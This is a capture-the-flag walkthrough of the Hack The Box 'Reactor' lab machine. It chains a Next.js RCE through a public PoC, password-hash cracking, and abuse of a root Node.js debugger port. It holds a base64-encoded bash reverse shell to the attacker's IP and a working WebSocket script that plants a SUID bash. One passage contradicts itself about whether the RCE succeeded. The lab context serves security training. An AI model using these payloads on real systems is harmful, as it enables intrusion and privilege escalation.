Description
Reactor is classified as an easy difficulty machine in Hack The Box. Key vulnerabilities and steps identified in this machine include:
- Initial web application vulnerability (NextJS) allowing for potential Remote Code Execution (RCE)
- Database compromise leading to user credential hashes
- A low-privileged user account with access to internal systems
- A critical Node.js debugging endpoint running with elevated privileges (Root), enabling privilege escalation
Footprinting
The initial phase of reconnaissance is paramount in understanding the target’s architecture and operational status. By performing a simple ping scan on the target IP, 10.129.1.23, we can gather preliminary information about the operating system.
The TTL (Time To Live) value observed in the ping response was 63, which is characteristic of a Unix-like operating system (Linux). This immediately narrows our focus for the subsequent exploitation phase, as Windows hosts typically exhibit different TTL values.
$ ping -c 3 10.129.1.23
PING 10.129.1.23 (10.129.1.23) 56(84) bytes of data.
64 bytes from 10.129.1.23: icmp_seq=1 ttl=63 time=51.3 ms
64 bytes from 10.129.1.23: icmp_seq=2 ttl=63 time=51.3 ms
64 bytes from 10.129.1.23: icmp_seq=3 ttl=63 time=51.1 ms
--- 10.129.1.23 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 51.108/51.241/51.317/0.094 ms
Next, we utilized Nmap to perform a basic scan, identifying the active ports and services exposed by the target. This initial scan quickly revealed two open ports: SSH (22/tcp) and a custom service on port 3000/tcp.
$ sudo nmap 10.129.1.23 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.1.23
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds
Enumeration
With the initial port list established, the enumeration phase requires a deeper dive into the services to understand their specific versions and potential attack surfaces. This detailed information is crucial for matching services to known vulnerabilities.
We executed a more exhaustive Nmap scan, requesting service version detection (-sV) and default script execution (-sC) specifically against the identified ports:
$ nmap 10.129.1.23 -sV -sC -p22,3000 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.1.23
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_ 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.21 seconds
The analysis of the port 3000 service revealed that it hosts a web application built with Next.js, which is described as a metrics application for a nuclear reactor. We added the target domain reactor.htb to the local hosts file to ensure consistent resolution during the exploitation phase.
$ echo '10.129.1.23 reactor.htb' | sudo tee -a /etc/hosts
By examining the application, we identified a potential vulnerability related to NextJS. Specifically, we researched the CVE-2025-55182 vulnerability. This critical flaw in React Server Components allows for pre-authentication Remote Code Execution (RCE) by unsafely deserializing payloads from HTTP requests targeting Server Function endpoints.
Exploitation
The primary vector for initial compromise is the RCE vulnerability in the NextJS application. We utilized a custom Proof-of-Concept (PoC) developed by the community to exploit this weakness.
First, we set up a listening port to receive the reverse shell connection:
$ nc -nvlp 1234
We then cloned and executed the PoC, injecting a base64-encoded command payload designed to execute a reverse shell upon successful exploitation.
$ git clone https://github.com/imbas007/POC-CVE-2025-55182
$ cd POC-CVE-2025-55182
$ python CVE-2025-55182-Exp.py -u http://10.129.1.23:3000 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43OS8xMjM0IDA+JjE= | base64 -d | bash"
...
[*] Scanning http://10.129.1.23:3000...
[+] http://10.129.1.23:3000 - App Router detected
[FAIL] http://10.129.1.23:3000 - No RCE output
Although the initial RCE attempt failed to yield a shell immediately, the successful execution allowed us to obtain a reverse shell as the node user, granting us a foothold on the system.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.79] from (UNKNOWN) [10.129.1.23] 52974
bash: cannot set terminal process group (1370): Inappropriate ioctl for device
bash: no job control in this shell
node@reactor:/opt/reactor-app$ id
id
uid=999(node) gid=988(node) groups=988(node)
We configured the shell environment to be fully interactive.
node@reactor:/opt/reactor-app$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
node@reactor:/opt/reactor-app$ ^Z
$ stty raw -echo; fg
$ reset xterm
node@reactor:/opt/reactor-app$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Within the application directory (/opt/reactor-app), we discovered a SQLite database, reactor.db. This database contained user records, including MD5 hashes for two users: admin and engineer. We used the sqlite3 client to extract the data:
node@reactor:/opt/reactor-app$ file reactor.db
reactor.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 7, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 7
node@reactor:/opt/reactor-app$ sqlite3 reactor.db
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
sensor_logs users
sqlite> select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
Utilizing the John The Ripper tool against these hashes, we successfully cracked the password for the engineer user, discovering the plaintext password reactor1.
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
reactor1 (engineer)
1g 0:00:00:00 DONE 50.00g/s 16857Kp/s 16857Kc/s 16857KC/s rhegie..rayleen
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
We leveraged these credentials to establish an SSH connection as the engineer user, transitioning from the low-privileged node context to a standard system user.
$ ssh engineer@10.129.1.23
engineer@reactor:~$ id
uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)
Post-Exploitation
The transition to the engineer user provides a stable base for deeper reconnaissance. The goal of this phase is to identify and exploit a privilege escalation vector to achieve root access.
Using the ss command, we examined active network listeners on the machine. A crucial discovery was a service running on port 9229, which was identified as a Node.js debugging port.
engineer@reactor:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:9229 0.0.0.0:*
tcp LISTEN 0 4096 [::]:22 [::]:*
tcp LISTEN 6 511 *:3000 *:*
We confirmed that the process running on port 9229 was a Node.js worker script, and critically, it was executing as the root user. This represents a significant misconfiguration and a high-value target for privilege escalation.
engineer@reactor:~$ ps -ef | grep 9229
root 1372 1 0 May21 ? 00:00:14 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
To exploit this, we established a local port forward, mapping the internal debugging port 9229 to our attacking machine, allowing us to interact with the root-owned process.
$ ssh -N -L 9229:127.0.0.1:9229 engineer@10.129.1.23
We then enumerated the Node.js debugger endpoint by querying the JSON list endpoint, confirming it was indeed the debug port:
$ curl 127.0.0.1:9229/json/list
[ {
"description": "node.js instance",
"devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=127.0.0.1:9229/20733d31-b4e3-413d-9560-c55733095140",
"devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9229/20733d31-b4e3-413d-9560-c55733095140",
"faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
"id": "20733d31-b4e3-413d-9560-c55733095140",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"url": "file:///opt/uptime-monitor/worker.js",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/20733d31-b4e3-413d-9560-c55733095140"
} ]
The final step in privilege escalation involved leveraging the Node.js WebSocket debugging protocol to execute arbitrary JavaScript code. We crafted a payload that utilized child_process to create a SUID Bash binary, granting us effective root permissions upon execution.
The Python script for the exploit, which requires the websocket-client library, is as follows:
import urllib.request, json
from websocket import create_connection
# 1. Get the WebSocket URL
with urllib.request.urlopen("http://127.0.0.1:9229/json/list") as r:
ws_url = json.loads(r.read().decode())[0]['webSocketDebuggerUrl']
# 2. Connect and send the payload
ws = create_connection(ws_url)
payload = "process.mainModule.require('child_process').exec('cp /bin/bash /tmp/bash-suid; chmod u+s /tmp/bash-suid')"
ws.send(json.dumps({
"id": 1,
"method": "Runtime.evaluate",
"params": {"expression": payload}
}))
# 3. Receive the raw response and close
print(ws.recv())
ws.close()
After installing the required dependency (websocket-client) and executing the script, the machine confirmed the successful payload execution.
$ python -m virtualenv .env
$ . .env/bin/activate
$ pip install websocket-client
$ python attack.py
{"id":1,"result":{"result":{"type":"object","className":"ChildProcess","description":"ChildProcess","objectId":"5132275223032789128.1.1"}}}
We confirmed the creation of the SUID binary on the system by listing the file:
engineer@reactor:~$ ls /tmp/bash-suid
/tmp/bash-suid
Executing the newly created binary confirms the successful escalation to root privileges:
engineer@reactor:~$ /tmp/bash-suid -p
bash-suid-5.2# id
uid=1000(engineer) gid=1000(engineer) euid=0(root) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)
We have now achieved command execution as the root user, allowing us to retrieve the required flags.
Flags
The successful execution of the SUID binary as root allowed us to retrieve both the user and root flags from the designated files within the system: user.txt and root.txt.
bash-suid-5.2# cat /home/engineer/user.txt
<REDACTED>
bash-suid-5.2# cat /root/root.txt
<REDACTED>